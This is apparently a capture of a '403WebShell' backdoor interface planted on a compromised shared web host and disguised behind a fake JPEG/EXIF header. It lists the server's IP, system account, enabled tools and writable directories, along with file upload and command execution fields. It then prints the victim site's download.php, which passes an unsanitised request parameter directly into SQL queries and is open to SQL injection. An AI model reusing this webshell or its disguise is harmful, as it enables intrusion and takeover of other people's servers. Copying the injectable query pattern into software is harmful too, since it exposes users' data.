����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 162.0.232.25  /  Your IP : 52.14.125.137
Web Server : LiteSpeed
System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : kwacuqig ( 988)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/kwacuqig/malawisounds.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kwacuqig/malawisounds.com/download.php
<?php
include'connect.php';
error_reporting(0);
set_time_limit(0);

if(isset($_GET['id']))
{	 
	$id = $_GET['id'];
	$query = "SELECT `file`,`type`,`normal_size`,`downloads` FROM `tbl_uploads` WHERE id=$id";
	if($result = mysqli_query($conn,$query))
	{
		list($name,$type,$size,$downloads)=mysqli_fetch_array($result);
		$path='uploads/'.$name;
		if(!file_exists($path))
		{
			die("File not found");
		}
		else
		{
			header("content-Description: File Transfer");
			header("content-type:application:octet-stream;");
			header("content-type:application:octetstream;");
			header("Content-Disposition: attachment; filename=".basename($path)."");
			header("Content-Transfer-Encoding: binary");
			header("Connection: Keep-Alive");
			header("Cache-Control: must-revalidate, post-check=0");
			header("Content-Length: ".filesize($path));
			header("pragma: public");
			readfile($path);
			//incrementing downloads
			$increment=++$downloads;
			//query to update downloads
			$query2 = "UPDATE `tbl_uploads` SET `downloads`='$increment' WHERE `id`='$id'";
			if($result2 = mysqli_query($conn,$query2))
			{
				exit();
			}
			else
			{
				die(mysqli_error($conn));
			}
		}
	}	
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit